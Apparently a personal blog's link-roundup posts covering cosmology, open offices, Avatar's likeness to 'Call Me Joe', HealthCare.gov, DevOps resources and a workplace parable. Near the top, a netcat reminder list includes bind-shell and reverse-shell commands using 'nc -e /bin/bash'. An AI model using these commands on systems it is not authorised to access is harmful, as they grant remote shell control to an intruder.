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Links: Jan 19th


Okay, you’d think Murphy laws were jokes. But as situation in Ukraine shows most of them are true, aren’t they?

All of this really saddens me and spoils good faith in further; but it does demonstrate the essence of real world and people’s desires. Turning though from harsh reality to wonders of virtual world, let’s start with few reminder links:

Suppose you want to transfer a file “file.txt” from server A to client B.
Server: $ nc -l 4444 < file.txt
Client: $ nc -n 4444 > file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:
Server: $ nc -l 4444 > file.txt
Client: $ nc 4444 < file.txt

Remote shell:
Server: $ nc -l 4444 -e /bin/bash -i
Client: $ nc 4444

Reverse remote shell:
Server: $ nc -l 4444
Client: $ nc 4444 -e /bin/bash




  • Physicist Lawrence Krauss gives a talk on our current picture of the universe, how it will end, and how it could have come from nothing. Very thrilling talk on cosmology:

  • Open offices are an unfortunate misunderstanding. New Yorker:

The open office was originally conceived by a team from Hamburg, Germany, in the nineteen-fifties, to facilitate communication and idea flow. But a growing body of evidence suggests that the open office undermines the very things that it was designed to achieve. In June, 1997, a large oil and gas company in western Canada asked a group of psychologists at the University of Calgary to monitor workers as they transitioned from a traditional office arrangement to an open one. The psychologists assessed the employees’ satisfaction with their surroundings, as well as their stress level, job performance, and interpersonal relationships before the transition, four weeks after the transition, and, finally, six months afterward. The employees suffered according to every measure: the new space was disruptive, stressful, and cumbersome, and, instead of feeling closer, coworkers felt distant, dissatisfied, and resentful. Productivity fell.

When the Avatar was first released I was appalled by claims that it was touted as ‘totally original work from the mind of Cameron’. I was sure that many years ago I read strikingly similar story by some of well-known sci-fi writers, but was struggling to remember the name of either the novel or the author. There was the same paraplegic hero who telepathically connected with an artificially created life form in order to explore a harsh planet and get access to its resources. Doesn’t it sound similar to the Avatar’s plot?

Recently I accidentally stumbled upon this novel — that was Poul Anderson’s Call Me Joe, written in (!) 1957. This is a classic sci-fi masterpiece and I would recommend reading it any time.

Links: Nov 8

You know, I’m totally baffled by the contrast in quality of Obama for America 2012 and ObamaCare projects. The first one was top-notch bleeding-edge technology project carried out with gleaming excellence, the second though has been a model failure by all means.

4Gb/s, 10k requests per second, 2,000 nodes, 3 datacenters, 180TB and 8.5 billion requests. Design, deploy, dismantle in 583 days to elect the President. #madops

Tweet above summarises the challenge for OFA2012 project and here are few links about it:

Calamities with HealthCare.gov look like they’ve been using services of the /dev/null-as-a-service kind. Facepalm.

Got an email from google+ telling me I’m eligible for custom URL. Made me even log in, found out it was still as revolting as it had been for a year or so, and on top of it, my very first posts to google+ were missing. Actually, one of the reasons I started to use G+ was to save interesting links I had come across, and as you might imagine, I’m thrilled to discover they wipe my older posts. So expect some flashbacks, as I’m not going to loose interesting stuff and will repost it here.

Continuing to catch-up on links:


  • The Ars Technica Review of Mac OS X Mavericks, in-depth, long, and interesting reading.
  • Recommended server-side SSL configurations
  • DevOps Look-fors — the way of assessing your processes maturity
  • Beej’s Guide to Network Programming
  • Question asked on many interviews — can root kill init process? It depends.
  • Algorithms part 2 commenced!
  • Boostrap 3 add-ons collection (in Russian).



  • Banksy turns 50$ painting into 1M$ treasure
  • How a plan becomes policy:

In the beginning was the plan.
And then came the assumptions.
And the assumptions were without form.
And the plan was without substance.
And darkness was upon the face of the workers.
And they spoke among themselves saying,
“It is a crock of shit and it stinketh.”
And the workers went unto their supervisors and said,
“It is a pale of dung and none may abide the odor thereof.”
And the supervisor went unto their managers and said,
“It is a container of excrement and it is very strong, such that none may abide by it.”
And the managers went unto their directors, saying,
“It is a vessel of fertilizer, and none may abide its strength.”
And the directors spoke among themselves, saying to one another,
“It contains that which aids plant growth and it is very strong.”
And the directors went unto the vice presidents, saying unto them,
“It promotes growth and is very powerful.”
And the vice presidents went unto the president, saying unto him,
“The new plan will promote the growth and vigor of the company, with powerful effects.”
And the president looked upon the plan and saw that it was good.
And the plan became policy.
This is how shit happens.


  • Jennifer’s the winner: Six Decades of the Most Popular Names for Girls, State-by-State

Popular Girl’s Names


Links: 21 July



My most favourite coursera course Algorithms by Kevin Wayne and Robert Sedgewick of Princeton is coming back with new session this autumn; my passionate recommendation to take it if you’re doing any kind of programming, either to improve your skills or just get a lot of fun:


IT in Ukraine (in Russian)


Petit Fille, liked choreography a lot: